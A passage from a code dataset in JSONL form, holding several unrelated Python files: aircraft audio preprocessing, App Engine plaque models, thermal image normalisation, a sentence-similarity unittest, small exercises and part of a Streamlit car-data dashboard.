already been extracted to %s\" % os.path.abspath(fp_dest),\n )\n\n def extract_audio_from_esc50(self, categories, db_trim=30, overwrite=False):\n \"\"\"Export relevant categories from the ESC-50 dataset.\n\n Keyword arguments:\n categories -- iterable containing the categories from the ESC-50\n dataset that should be extracted,\n db_trim -- threshold for the trimming of silence (default: 30dB),\n overwrite -- whether to overwrite existing data (default: False),\n verbose -- whether to print each file export (default: False).\n \"\"\"\n # set directories\n dir_esc50 = os.path.join(self._dir_root, \"Raw\", \"Aircraft\", \"ESC-50-master\")\n fp_esc50_csv = os.path.join(dir_esc50, \"meta\", \"esc50.csv\")\n dir_input = os.path.join(dir_esc50, \"audio\")\n dir_output = os.path.join(\n self._dir_root, \"Aircraft Classification\", \"Audio\", \"Full\"\n )\n # check if output directory exists\n if os.path.exists(dir_output):\n if overwrite:\n shutil.rmtree(dir_output)\n else:\n print_verbose(\"Output directory already exists.\")\n return\n os.makedirs(os.path.join(dir_output))\n # get dataframe with filenames, categories\n df = pd.read_csv(fp_esc50_csv)\n df.drop([\"fold\", \"target\", \"esc10\", \"src_file\", \"take\"], axis=1, inplace=True)\n df.replace(\"_\", \"-\", inplace=True, regex=True) # less tedious later\n # extract relevant categories\n df_binary = df.loc[df[\"category\"].isin(categories)]\n categories = df_binary[\"category\"].unique()\n\n # loop over categories\n for cat in categories:\n # load files belonging to category\n files_src = df_binary.loc[df_binary[\"category\"] == cat][\n \"filename\"\n ].to_list()\n # loop over files\n for i, file in enumerate(files_src):\n src = os.path.join(dir_input, file)\n # load audio\n y, sr = librosa.load(src, sr=self._sample_rate)\n # trim audio\n y_trim, _ = librosa.effects.trim(y, top_db=db_trim)\n # export audio\n fn_out = \"%s_%02d.wav\" % (cat, i + 1)\n dest = os.path.join(dir_output, fn_out)\n sf.write(dest, y_trim, samplerate=sr)\n # printing\n if self.super_verbose:\n # set trim message\n if len(y_trim) < len(y):\n trim_msg = \" (trimmed to %.3f sec.)\" % (len(y_trim) / sr)\n else:\n trim_msg = \"\"\n print(\"%s ---> %s%s\" % (file, dest, trim_msg))\n\n print_verbose(\n self.verbose,\n \"Finished exporting %d files (sr = %d Hz)\" % (len(df_binary), sr),\n )\n\n def generate_silence_category(self, n_instances, duration):\n \"\"\"Generates a 'silence' category consisting of white noise.\n\n Keyword arguments:\n n_instances -- number of instances (recordings) generated,\n duration -- duration of each recording in seconds,\n verbose -- whether to print the generation of each file\n (default: False)\n \"\"\"\n # generate silence\n np.random.seed(42)\n silence = np.random.uniform(\n low=-1.0, high=1.0, size=(n_instances, duration * self._sample_rate)\n )\n # loop over instances\n for i in range(n_instances):\n # export to file\n fn = \"silence_%02d.wav\" % (i + 1)\n fp = os.path.join(\n self._dir_root, \"Aircraft Classification\", \"Audio\", \"Full\", fn\n )\n sf.write(fp, silence[i], samplerate=self._sample_rate)\n print_verbose(self.super_verbose, \"Generated file: '%s'\" % fp)\n\n print_verbose(\n self.verbose, \"Finished generating %d instances of silence.\" % n_instances\n )\n\n def split_dataset(self, train_test_ratio=0.8, train_val_ratio=0.8, overwrite=False):\n \"\"\"Split the dataset into a training, validation and test subset.\n\n Keyword arguments:\n train_test_ratio -- ratio of the training set over the complete,\n set, the remainder will be assigned to the test subset\n (default: 0.8),\n train_val_ratio -- ratio of the actual training set over the\n training set, the remainder will be assigned to the validation\n subset (default: 0.8),\n overwrite -- whether to overwrite existing data (default: False).\n \"\"\"\n # directories\n dir_input = os.path.join(\n self._dir_root, \"Aircraft Classification\", \"Audio\", \"Full\"\n )\n dir_root_output = os.path.join(\n self._dir_root, \"Aircraft Classification\", \"Audio\"\n )\n # check if data should be overwritten if it exists\n if os.path.exists(os.path.join(dir_root_output, \"Train\")) and not overwrite:\n print_verbose(\n self.verbose, \"Dataset already exists and should not be overwritten.\"\n )\n return\n # refresh the output directories\n subdirs = [\"Train\", \"Val\", \"Test\"]\n for subdir in subdirs:\n refresh_directory(os.path.join(dir_root_output, subdir))\n\n # read files into array for easy slicing\n files = np.array(retrieve_files(dir_input))\n # get categories\n file_categories = np.array([os.path.split(f)[-1].split(\"_\")[0] for f in files])\n categories = np.unique(file_categories)\n files_per_category = len(files) // len(categories)\n\n # get train, val, test indices per category\n train_idcs, test_idcs = train_test_split(\n np.arange(files_per_category), train_size=train_test_ratio, random_state=42\n )\n train_idcs, val_idcs = train_test_split(\n train_idcs, train_size=train_val_ratio, random_state=42\n )\n print_verbose(\n self.verbose,\n \"Split per category (Train, Val, Test): (%d, %d, %d)\"\n % (len(train_idcs), len(val_idcs), len(test_idcs)),\n )\n\n # extract train, val, test files using indices and export to subdirs\n indices = [train_idcs, val_idcs, test_idcs]\n for idcs, subdir in zip(indices, subdirs):\n files_set = [\n f\n for f in files\n if int(os.path.split(f)[-1].split(\"_\")[-1].split(\".\")[0]) - 1 in idcs\n ]\n for file in files_set:\n dest = os.path.join(dir_root_output, subdir, os.path.split(file)[-1])\n shutil.copyfile(file, dest)\n\n # remove the now redundant 'Full' input directory\n shutil.rmtree(dir_input)\n\n def augment_training_data(self, overwrite=False):\n \"\"\"Augment the training data.\n\n Keyword arguments:\n overwrite -- whether to overwrite existing data (default: False).\n Augmentations include:\n Pitch Shift at [-2, -1, 1, 2] octaves,\n Time Stretch with ratios of [0.70,0.85, 1.15, 1.30],\n Intra-category mixing with four random files belonging to the\n same category.\n The 'silence' category (if generated) is omitted from the augmentation.\n \"\"\"\n # set directories\n dir_input = os.path.join(\n self._dir_root, \"Aircraft Classification\", \"Audio\", \"Train\"\n )\n dir_root_output = os.path.join(\n self._dir_root, \"Aircraft Classification\", \"Audio\"\n )\n\n # get files, but ignore augmentation for 'silence' category\n files = [\n os.path.join(dir_input, f)\n for f in sorted(os.listdir(dir_input))\n if os.path.split(f)[-1].split(\"_\")[0] != \"silence\"\n ]\n\n # loop through augmentations\n augmentations = [\"Pitch Shift\", \"Time Stretch\", \"Class Mix\"]\n do_augmentations = []\n for aug in augmentations:\n # set output directory\n dir_output = os.path.join(dir_root_output, \"Train \" + aug)\n # check if it exists or should be overwritten\n if overwrite or not os.path.exists(dir_output):\n refresh_directory(dir_output)\n do_augmentations.append(aug)\n\n # do augmentations\n if len(do_augmentations) > 0:\n for aug in do_augmentations:\n dir_output = os.path.join(dir_root_output, \"Train \" + aug)\n if aug == \"Class Mix\":\n # generate a list of directory-specific 'seeds' from the given seed\n # to preserve reproducible randomness while multiprocessing\n np.random.seed(42)\n seeds = np.random.randint(0, 10 * len(files), len(files))\n\n part = partial(\n self._augment_class_mix, dir_out=dir_output, all_files=files\n )\n\n with Pool(processes=os.cpu_count() - 1) as pool:\n pool.starmap(part, list(zip(files, seeds)))\n\n elif aug == \"Pitch Shift\":\n part = partial(self._augment_pitch_shift, dir_out=dir_output)\n\n with Pool(processes=os.cpu_count() - 1) as pool:\n pool.map(part, files)\n\n elif aug == \"Time Stretch\":\n part = partial(self._augment_time_stretch, dir_out=dir_output)\n\n with Pool(processes=os.cpu_count() - 1) as pool:\n pool.map(part, files)\n\n print_verbose(\n self.verbose,\n \"Augmentation: %d --> %d files using %s augmentation\"\n % (\n len(files),\n len(do_augmentations) * 4 * len(files),\n do_augmentations,\n ),\n )\n else:\n print_verbose(self.verbose, \"Augmentation has already been done.\")\n\n def _augment_class_mix(self, file, seed, dir_out, all_files):\n\n # load file\n y, sr = librosa.load(file, sr=self._sample_rate)\n # mix the audio with another recording from the same category\n category = os.path.split(file)[-1].split(\"_\")[0]\n files_category = [\n f\n for f in all_files\n if ((os.path.split(f)[-1].split(\"_\")[0] == category) and (f != file))\n ]\n\n # set random, unique seed per process\n np.random.seed(seed)\n # get unique files to mix with\n n_mixes = 4\n files_to_mix = np.random.choice(files_category, size=n_mixes, replace=False)\n\n for i in range(n_mixes):\n # select random mix ratio and random sample offset (circular)\n mix_ratio = np.random.uniform(low=0.2, high=0.5)\n offset = int(np.random.uniform(low=0, high=5) * sr)\n # load file\n y_mix, _ = librosa.load(files_to_mix[i], sr=sr)\n\n # pad/truncate y_mix so that it has the same length as y\n if len(y) > len(y_mix):\n # pad with noise\n padding = np.random.uniform(\n low=-1.0, high=1.0, size=len(y) - len(y_mix)\n )\n y_mix = np.concatenate((y_mix, padding), axis=0)\n elif len(y) < len(y_mix):\n # start sampling at random starting index\n idx = np.random.randint(len(y_mix) - len(y))\n y_mix = y_mix[idx : idx + len(y)]\n\n # apply offset\n y_mix = np.roll(y_mix, offset)\n # mix audio\n y_aug = y + y_mix * mix_ratio\n\n # export to file\n dest = os.path.join(\n dir_out, \"%s-cm%d.wav\" % (os.path.split(file)[-1].split(\".\")[0], i + 1)\n )\n sf.write(dest, y_aug, samplerate=sr)\n\n def _augment_pitch_shift(self, file, dir_out):\n # load file\n y, sr = librosa.load(file, sr=self._sample_rate)\n\n # pitch shift the audio\n shifts = [-2, -1, 1, 2]\n for i, shift in enumerate(shifts):\n y_aug = librosa.effects.pitch_shift(y, sr, shift)\n # export to file\n dest = os.path.join(\n dir_out, \"%s-ps%d.wav\" % (os.path.split(file)[-1].split(\".\")[0], i + 1),\n )\n sf.write(dest, y_aug, samplerate=sr)\n\n def _augment_time_stretch(self, file, dir_out):\n # load file\n y, sr = librosa.load(file, sr=self._sample_rate)\n\n # time stretch the audio\n stretches = [0.7, 0.85, 1.15, 1.3]\n for i, stretch in enumerate(stretches):\n y_aug = librosa.effects.time_stretch(y, stretch)\n # export to file\n dest = os.path.join(\n dir_out, \"%s-ts%d.wav\" % (os.path.split(file)[-1].split(\".\")[0], i + 1),\n )\n sf.write(dest, y_aug, samplerate=sr)\n\n def plot_examples(self, set_name, categories=None, idx=None):\n \"\"\"Plot audio data belonging to a given dataset.\n\n Keyword arguments:\n set_name -- set to be plotted (e.g. 'Test')\n categories -- iterable containing the original categories\n (airplane, engine, etc.) to be plotted (default: all),\n idx -- index of the file selected for plotting (default: 0).\n \"\"\"\n # get directory and available files\n dir_audio = os.path.join(\n self._dir_root, \"Aircraft Classification\", \"Audio\", set_name\n )\n files_audio = [\n os.path.join(dir_audio, f) for f in sorted(os.listdir(dir_audio))\n ]\n # plot all categories if not given\n if categories is None:\n file_categories = [os.path.split(f)[-1].split(\"_\")[0] for f in files_audio]\n categories = sorted(list(set(file_categories)))\n # plot the first example if index not given\n if idx is None:\n idx = 0\n\n # setup figure, subfigures\n n_categories = len(categories)\n fig = plt.figure(figsize=(6 * n_categories, 2), constrained_layout=False)\n gs = fig.add_gridspec(1, n_categories)\n\n # loop through categories\n for i, cat in enumerate(categories):\n # load audio file\n file_audio = [\n f for f in files_audio if os.path.split(f)[-1].split(\"_\")[0] == cat\n ][idx]\n fn = os.path.split(file_audio)[-1]\n # plot audio\n ax = fig.add_subplot(gs[i])\n ph.plot_audio(file_audio, sr=self._sample_rate, waveplot=True)\n ax.set_title(\"'%s' (sr = %d)\" % (fn, self._sample_rate))\n","sub_path":"aircraft_detector/aircraft_classification/data_acquisition.py","file_name":"data_acquisition.py","file_ext":"py","file_size_in_byte":16427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"404617397","text":"def int_func(str):\n\t\n\treturn str.capitalize()\n\t\na = input(\"Введите слово из маленьких латинских букв \")\nresult = int_func(a)\nprint(result)\n\na = input(\"Введите строку из слов, разделенных пробелом \")\nlist = a.split()\nlist2 = []\nfor elem in list:\n\tlist2.append(int_func(elem))\nprint(\" \".join(list2))\n\t\n\n","sub_path":"lesson_3/6.py","file_name":"6.py","file_ext":"py","file_size_in_byte":375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"201005078","text":"import turtle\r\n\r\npen=turtle.Turtle()\r\nwindow=turtle.Screen()\r\ndistance=10\r\n\r\npen.pensize(4)\r\npen.shape=(\"turtle\")\r\npen.hideturtle()\r\n\r\nfor count in range(10):\r\n if count % 2 ==0:\r\n pen.color(\"blue\")\r\n else:\r\n pen.color(\"red\")\r\n pen.circle(distance)\r\n pen.penup()\r\n pen.goto(pen.xcor(),pen.ycor()-10)\r\n pen.pendown()\r\n distance=distance+10\r\n\r\nwindow.mainloop()","sub_path":"2016/Cocentric circles (even and odds).py","file_name":"Cocentric circles (even and odds).py","file_ext":"py","file_size_in_byte":401,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"358473049","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\nfrom sentcorr import SentCorr\nimport unittest\n\nclass EqualSentences(unittest.TestCase):\n mycentcorr = SentCorr()\n synonym_table = mycentcorr.creat_synonym_table()\n\n def test_equal_sent(self):\n '''sentences with all-similar words should be equal to 1'''\n s1 = '今天 北京 的 气温 是 多少 摄氏度'\n s2 = '天津 明天 的 温度 是 几 度'\n self.assertEqual(self.mycentcorr.sentcorr(s1, s2, self.synonym_table), 1)\n\n def test_similar_sent(self):\n '''sentence with part-similar words should be larger than 0.5'''\n s1 = '周末 北京 有 小雪 吗'\n s2 = '广州 星期三 有 大雨 吗'\n assert self.mycentcorr.sentcorr(s1, s2, self.synonym_table) > 0.5\n\n def test_non_equal_sent(self):\n '''sentence with part-similar words should be equal to 0'''\n s1 = '明天 可以 穿 短袖 出门 吗'\n s2 = '晚上 去 吃 烤鸭 好不好'\n assert self.mycentcorr.sentcorr(s1, s2, self.synonym_table) == 0\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"centcorr_unittest/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1103,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"207568282","text":"\nfrom collections import defaultdict\nimport logging\nimport re\n\nFETCH_LIMIT_PLAQUES = 500\n\nfrom google.appengine.api import memcache\nfrom google.appengine.ext import ndb\nfrom google.appengine.api import search\nfrom google.appengine.datastore.datastore_query import Cursor\nfrom google.appengine.ext.db import BadValueError\n\nclass Comment(ndb.Model):\n \"\"\"\n A class to model a user comment about a particular plaque.\n\n Linked to a single Plaque object via the .plaque KeyProperty/FK.\n \"\"\"\n text = ndb.TextProperty()\n created_on = ndb.DateTimeProperty(auto_now_add=True)\n created_by = ndb.UserProperty()\n approved = ndb.BooleanProperty(default=False)\n\nclass Plaque(ndb.Model):\n \"\"\"\n A class to model a plaque with:\n * (Required) lat/lon location\n * (Required) Text description\n * Image of the plaque or area around the plaque:\n - the image's GCS filename\n - the image's serving URL (much faster to serve from this, so worth\n recording it at instance creation time)\n * Zero or more text tags\n * Approved flag (default False)\n * Created-on date\n * Created-by name\n\n User comments about the Plaque are located in the .comments attr, which is a\n KeyProperty/FK to Comment. Not sure if this is better than having a\n comment.plaque KeyProperty/FK in the other direction.\n \"\"\"\n TINY_SIZE_PX = 100\n THUMBNAIL_SIZE_PX = 300\n DISPLAY_SIZE_PX = 1024\n BIG_SIZE_PX = 4096\n ALLOWED_ROTATIONS = [90, 180, 270]\n\n title = ndb.StringProperty(required=True) # StringProperty: 1500 char limit\n title_url = ndb.StringProperty(required=True)\n description = ndb.TextProperty(required=True) # no limit on TextProperty\n location = ndb.GeoPtProperty(required=True)\n pic = ndb.StringProperty()\n img_url = ndb.StringProperty()\n img_rot = ndb.IntegerProperty(default=0)\n tags = ndb.StringProperty(repeated=True)\n comments = ndb.KeyProperty(repeated=True, kind=Comment)\n approved = ndb.BooleanProperty(default=False)\n created_on = ndb.DateTimeProperty(auto_now_add=True)\n created_by = ndb.UserProperty()\n updated_on = ndb.DateTimeProperty(auto_now_add=True)\n updated_by = ndb.UserProperty()\n old_site_id = ndb.IntegerProperty()\n\n @classmethod\n def num_approved(cls):\n count = Plaque.query().filter(Plaque.approved == True).count()\n return count\n\n @classmethod\n def page_plaques(cls, num, start_cursor_urlsafe=None):\n memcache_names = [\n 'page_plaques_%s_%s' % (num, start_cursor_urlsafe),\n 'page_start_cursor_urlsafe_%s_%s' % (num, start_cursor_urlsafe),\n 'page_more_%s_%s' % (num, start_cursor_urlsafe),\n ]\n\n memcache_out = memcache.get_multi(memcache_names)\n memcache_worked = len(memcache_out.keys()) == len(memcache_names)\n if memcache_worked:\n logging.debug(\"memcache.get_multi worked for Plaque.page_plaques()\")\n plaques = memcache_out[memcache_names[0]]\n next_cursor = memcache_out[memcache_names[1]]\n more = memcache_out[memcache_names[2]]\n else:\n query = Plaque.query(\n ).filter(Plaque.approved == True).order(-Plaque.created_on)\n\n # Protect agains bad values of start_cursor_urlsafe, like the old\n # type of request to /page/3.\n if start_cursor_urlsafe:\n try:\n start_cursor = Cursor(urlsafe=start_cursor_urlsafe)\n except BadValueError:\n start_cursor = None\n else:\n start_cursor = None\n\n if start_cursor:\n plaques, next_cursor, more = query.fetch_page(num, start_cursor=start_cursor)\n else:\n plaques, next_cursor, more = query.fetch_page(num)\n\n memcache_status = memcache.set_multi({\n memcache_names[0]: plaques,\n memcache_names[1]: start_cursor,\n memcache_names[2]: more,\n })\n if memcache_status:\n logging.debug(\"\"\"memcache.set in Plaque.plaque_pages() failed: \n %s were not set\"\"\" % memcache_status)\n\n logging.info(\"In Plaque.page_url: %s plaques %s %s\" % (len(plaques), next_cursor, more))\n return plaques, next_cursor, more\n\n# @classmethod\n# def approved_list(cls, offset=0, limit=FETCH_LIMIT_PLAQUES):\n# #if disable_memcache:\n# # plaques = Plaque.query().filter(Plaque.approved == True\n# # ).order(-Plaque.created_on\n# # ).fetch(offset=offset, limit=limit)\n# # return plaques\n#\n# memcache_name = 'approved %s %s' % (offset, limit)\n# plaques = memcache.get(memcache_name)\n# if plaques is None:\n# plaques = Plaque.query().filter(Plaque.approved == True\n# ).order(-Plaque.created_on\n# ).fetch(offset=offset, limit=limit)\n# memcache_status = memcache.set(memcache_name, plaques)\n# if not memcache_status:\n# logging.debug(\"memcaching for Plaque.approved() failed\")\n# else:\n# logging.debug(\"memcache.get worked for Plaque.approved()\")\n# return plaques\n\n @classmethod\n def num_pending(cls, num=20): # num is the max to return\n count = Plaque.query().filter(Plaque.approved != True).count(limit=num)\n return count\n\n @classmethod\n def pending_list(cls, num=20):\n \"\"\"A separate method from approved() so that it will\n never be memcached.\"\"\"\n plaques = Plaque.query().filter(Plaque.approved != True\n ).order(Plaque.approved\n ).order(-Plaque.created_on\n ).fetch(limit=num)\n return plaques\n\n # Turning off because this doesn't scale.\n # TODO: add table UniqueTags\n @classmethod\n def all_tags_sized(cls):\n \"\"\"\n Return a dict of the tags and their display-layer font sizes. Done\n here to speed rendering and to make the whole thing memcacheable.\n \"\"\"\n tag_counts = memcache.get('all_tags_sized')\n if tag_counts is None:\n tag_counts = defaultdict(int)\n\n plaques = Plaque.query().filter(Plaque.approved == True).fetch()\n for plaque in plaques:\n for t in plaque.tags:\n tag_counts[t] += 1\n\n tag_fontsize = {}\n for tag, count in tag_counts.items():\n if count < 5:\n tag_fontsize[tag] = 10\n elif count < 10:\n tag_fontsize[tag] = 13\n elif count < 20:\n tag_fontsize[tag] = 16\n elif count < 40:\n tag_fontsize[tag] = 19\n elif count < 120:\n tag_fontsize[tag] = 22\n else:\n tag_fontsize[tag] = 25\n memcache_status = memcache.set('all_tags_sized', tag_fontsize)\n if not memcache_status:\n logging.debug(\"memcaching for all_tags_sized failed\")\n else:\n logging.debug(\"memcache.get worked for all_tags_sized\")\n\n return tag_counts\n\n @property\n def img_url_tiny(self):\n \"\"\"A URL for a square, tiny image for infowindow popups.\"\"\"\n url = '%s=s%s-c' % (self.img_url, self.TINY_SIZE_PX)\n if self.img_rot in Plaque.ALLOWED_ROTATIONS:\n url = \"%s-r%s\" % (url, self.img_rot)\n return url\n\n @property\n def img_url_thumbnail(self):\n \"\"\"A URL for a square, THUMBNAIL_SIZE_PX wide image for thumbnails.\"\"\"\n url = '%s=s%s-c' % (self.img_url, self.THUMBNAIL_SIZE_PX)\n if self.img_rot in Plaque.ALLOWED_ROTATIONS:\n url = \"%s-r%s\" % (url, self.img_rot)\n return url\n\n @property\n def img_url_display(self):\n \"\"\"A URL for a display-size image for display.\"\"\"\n url = '%s=s%s' % (self.img_url, self.DISPLAY_SIZE_PX)\n if self.img_rot in Plaque.ALLOWED_ROTATIONS:\n url = \"%s-r%s\" % (url, self.img_rot)\n return url\n\n @property\n def img_url_big(self):\n \"\"\"A URL for a big rotated image.\"\"\"\n url = '%s=s%s' % (self.img_url, self.BIG_SIZE_PX)\n if self.img_rot in Plaque.ALLOWED_ROTATIONS:\n url = \"%s-r%s\" % (url, self.img_rot)\n return url\n\n @property\n def title_page_url(self):\n \"\"\"This plaque's key-based page URL.\"\"\"\n url = '/plaque/%s' % self.title_url\n return url\n\n def page_url(self):\n \"\"\"This plaque's key-based page URL.\"\"\"\n url = '/plaque/%s' % self.key.urlsafe()\n return url\n\n def set_title_url(self, ancestor_key, is_edit=False):\n \"\"\"\n Set the title_url. For new plaques, if the title_url already exists on\n another plaque, add a suffix to make it unique. Keep plaques which are \n being edited by an admin the same.\n \"\"\"\n if is_edit:\n return\n\n if self.title:\n title_url = re.sub('[^\\w]+', '-', self.title.strip()).lower()\n else:\n title_url = ''\n\n orig_title_url = title_url\n\n count = 1\n n_matches= Plaque.num_same_title_urls(title_url, ancestor_key)\n while n_matches > 0:\n count += 1\n title_url = \"%s%s\" % (orig_title_url, count)\n n_matches = Plaque.num_same_title_urls(title_url, ancestor_key)\n\n self.title_url = title_url\n\n @classmethod\n def num_same_title_urls(cls, title_url, ancestor_key):\n query = Plaque.query(ancestor=ancestor_key\n ).filter(Plaque.title_url == title_url)\n num_plaques = query.count()\n return num_plaques\n\n def to_search_document(self):\n doc = search.Document(\n doc_id = self.key.urlsafe(),\n fields=[\n search.TextField(name='tags', value=\" \".join(self.tags)),\n search.TextField(name='title', value=self.title),\n search.HtmlField(name='description', value=self.description),\n search.GeoField(name='location',\n value=search.GeoPoint(self.location.lat,\n self.location.lon)),\n ],\n )\n return doc\n\n def to_dict(self, summary=False):\n if summary:\n plaque_dict = {\n 'title': self.title,\n 'title_page_url': self.title_page_url,\n 'lat': str(self.location.lat),\n 'lng': str(self.location.lon), # N.B.: 'lng' --> 'lon'\n 'img_url_tiny': self.img_url_tiny,\n }\n else:\n plaque_dict = {\n 'plaque_key': self.key.urlsafe(),\n 'title': self.title,\n 'title_url': self.title_url,\n 'description': self.description,\n 'location': str(self.location),\n 'pic': self.pic,\n 'img_url': self.img_url,\n 'img_rot': self.img_rot,\n 'tags': self.tags,\n 'comments': self.comments,\n 'approved': self.approved,\n #'created_on': str(self.created_on),\n #'created_by': self.created_by,\n #'updated_on': str(self.updated_on),\n #'updated_by': self.updated_by,\n 'old_site_id': self.old_site_id,\n }\n return plaque_dict\n\nclass FeaturedPlaque(ndb.Model):\n created_on = ndb.DateTimeProperty(auto_now_add=True)\n plaque = ndb.KeyProperty(repeated=False, kind=Plaque)\n\n","sub_path":"Models.py","file_name":"Models.py","file_ext":"py","file_size_in_byte":11768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"344862852","text":"\"\"\"Functions for transforming 16-bit thermal images into 8-bits\"\"\"\n# Imports\nimport argparse\nimport datetime\nimport os\nimport sys\nimport numpy as np\nfrom PIL import Image\n\n\n# Functions\ndef lin_normalize_image(image_array, bottom=None, top=None):\n \"\"\"Linear normalization for an image array\n Inputs:\n image_array: np.ndarray, image data to be normalized\n bottom: float, value to map to 0 in the new array\n top: float, value to map to 1 in the new array\n Output:\n scaled_image: nd.ndarray, scaled image between 0 and 255\n \"\"\"\n if bottom is None:\n bottom = np.min(image_array)\n if top is None:\n top = np.max(image_array)\n\n scaled_image = (image_array - bottom) / (top - bottom)\n scaled_image[scaled_image < 0] = 0\n scaled_image[scaled_image > 1] = 1\n\n scaled_image = np.floor(scaled_image * 255).astype(np.uint8)\n\n return scaled_image\n\ndef parse_arguments(sys_args):\n \"\"\"Parses the input and output directories from the arguments\n Input:\n sys_args: list, the arguments to be parsed\n Output:\n input_directory: string, path to the input image directory\n output_directory: string, path to the output image directory\n \"\"\"\n # Set up parse\n parser = argparse.ArgumentParser(\n description='Command line interface for thermal image normalization')\n parser.add_argument('--indir', type=str,\n required=True, help='relative path to directory containing images')\n parser.add_argument('--outdir', type=str,\n default=None, help='relative path to the output directory')\n # Parse\n args = parser.parse_args(sys_args)\n\n # Store values\n input_directory = args.indir\n\n if args.outdir is None:\n output_directory = input_directory\n else:\n output_directory = args.outdir\n\n return input_directory, output_directory\n\ndef curate_files(input_directory, output_directory):\n \"\"\"Generates name lists for input and output images\n Inputs:\n input_directory: string, path to the input image directory\n output_directory: string, path to the output image directory\n Output:\n input_files: list, contains the file names of the incoming images\n output_files: list, contains the file names of the outgoing images\n \"\"\"\n all_files = os.listdir(input_directory)\n\n input_files = [x for x in all_files if x.find('16BIT.PNG') != -1]\n output_files = [x.replace('16BIT', '8BIT-N') for x in input_files]\n\n input_files = [os.path.join(input_directory, x) for x in input_files]\n output_files = [os.path.join(output_directory, x) for x in output_files]\n\n return input_files, output_files\n\ndef parse_filename(filename):\n \"\"\"Gets the camera position argument from filename\n Input:\n filename: string, name of the image file\n Output:\n camera_pos: string, capital letter position of the camera\n \"\"\"\n tokens = os.path.basename(filename).split('_')\n \n for token in tokens:\n if token == 'P' or token == 'C' or token == 'S':\n camera_pos = token\n break\n else:\n print('Warning: Bad filename format %s' % filename)\n\n return camera_pos\n \n\ndef get_scaling_values(filename, num_rows):\n \"\"\"Returns the bottom and top scaling parameters based on filename\n Inputs:\n filename: string, name of the file\n num_rows: int, number of rows in the image\n Outputs:\n bottom: int, number that maps to 0 in scaled image\n top: int, number that maps to 255 in scaled image\n \"\"\"\n camera_pos = parse_filename(filename) \n \n # camera_pos S and default\n bottom = 51000\n top = 57500\n\n if camera_pos == \"P\":\n if num_rows == 512:\n bottom = 53500\n top = 56500\n elif num_rows == 480:\n bottom = 50500\n top = 58500\n else:\n print('Unknown camera size for file %s' % filename)\n elif camera_pos == \"C\":\n bottom = 50500\n top = 58500\n\n return bottom, top\n\ndef main(sys_args):\n \"\"\"Function that is called by the command line\"\"\"\n # Parses the arguments\n input_directory, output_directory = parse_arguments(sys_args[1:])\n input_files, output_files = curate_files(input_directory, output_directory)\n print('Found {} files for processing'.format(len(input_files)))\n \n successful = 0\n prev_time = datetime.datetime.now()\n for index, in_file in enumerate(input_files):\n if index % 1000 == 0:\n cur_time = datetime.datetime.now()\n time_diff = cur_time - prev_time\n time_est = time_diff * (len(input_files) - index) / 1000\n print('%d of %d -- %.2f sec. Time remaining: %s' % \n (index, len(input_files), time_diff.total_seconds(), time_est))\n prev_time = cur_time\n\n try:\n cur_data = np.array(Image.open(in_file))\n bottom, top = get_scaling_values(in_file, cur_data.shape[0])\n normalized = lin_normalize_image(cur_data, bottom, top)\n\n save_im = Image.fromarray(normalized)\n save_im.save(output_files[index])\n successful += 1\n except:\n print('Unable to load {}'.format(output_files[index]))\n\n print('Completed converting {} files'.format(successful))\n\nif __name__ == \"__main__\":\n main(sys.argv)\n\n","sub_path":"src/ir-normalization/normalizer.py","file_name":"normalizer.py","file_ext":"py","file_size_in_byte":5361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"356125776","text":"# -*- encoding: utf-8 -*-\n\n__author__ = 'Mohanson'\n\nimport getopt\nimport sys\n\nfrom saika.mkdown.modules.mkdown import mkdown\n\n\nusage = \"\"\"\nUsage:\n saika.mkdown [options] [dirs]\n\nOptions:\n -h, --help Show help.\n -s, --style ', unsafe_allow_html=True)\r\nst.markdown('Streamlit : build and share data apps',\r\n unsafe_allow_html=True)\r\n\r\nst.sidebar.title(\"Bonjour :racing_car: :car: :blue_car:\")\r\n\r\nchoice = st.sidebar.radio(\"\", ('Analyse descriptive', \"Analyse des corrélations\"))\r\n\r\n# Création Sidebar avec les différents choix\r\nliste_pays = df_cars['continent'].unique().tolist()\r\n#liste_pays.insert(0, 'Tous')\r\n\r\nst.title('')\r\nst.title('')\r\n\r\nchoix_pays = st.sidebar.multiselect('Select countries', liste_pays, default= liste_pays, format_func=lambda x: 'Select a country' if x == '' else x)\r\n#choix_pays = st.selectbox('Select a continent :', liste_pays)\r\n\r\nif choice == 'Analyse descriptive':\r\n\r\n if choix_pays :\r\n \r\n df_cars = df_cars[df_cars['continent'].isin(choix_pays)]\r\n\r\n else :\r\n \r\n st.sidebar.warning('No option is selected')\r\n\r\n\r\n st.subheader('')\r\n\r\n st.markdown(\"Quelques graphiques pour l'analyse descriptive :\",\r\n unsafe_allow_html=True)\r\n st.title('')\r\n\r\n \r\n\r\n\r\n fig4 = px.pie(df_cars, values='year', names='continent', color='continent',color_discrete_map={'US.':'lightcyan',\r\n 'Japan.':'cyan',\r\n 'Europe.':'royalblue'})\r\n fig4.update_layout(title_text=\"Répartition des modèles par continent\",\r\n title_x=0.5, title_font_family=\"Verdana\")\r\n st.write(fig4)\r\n st.markdown(\"Près de 2/3 des modèles du dataset proviennent des Etats-Unis.\",\r\n unsafe_allow_html=True)\r\n st.header('')\r\n\r\n fig3 = px.histogram(df_cars, x=\"year\", color=\"continent\", color_discrete_map={'US.':'lightcyan',\r\n 'Japan.':'cyan',\r\n 'Europe.':'royalblue'})\r\n fig3.update_layout(title_text=\"Répartition des modèles par années\",\r\n title_x=0.5, title_font_family=\"Verdana\")\r\n fig3.update_layout({'plot_bgcolor': 'rgba(0,0,0,0)',\r\n 'paper_bgcolor': 'rgba(0,0,0,0)'})\r\n fig3.update_xaxes(showgrid=False, gridwidth=1,\r\n gridcolor='black', linecolor='rgba(0,0,0,0)')\r\n fig3.update_yaxes(showgrid=False, gridwidth=1,\r\n gridcolor='black', linecolor='rgba(0,0,0,0)')\r\n fig3.update_xaxes(title_text=\"Années\")\r\n 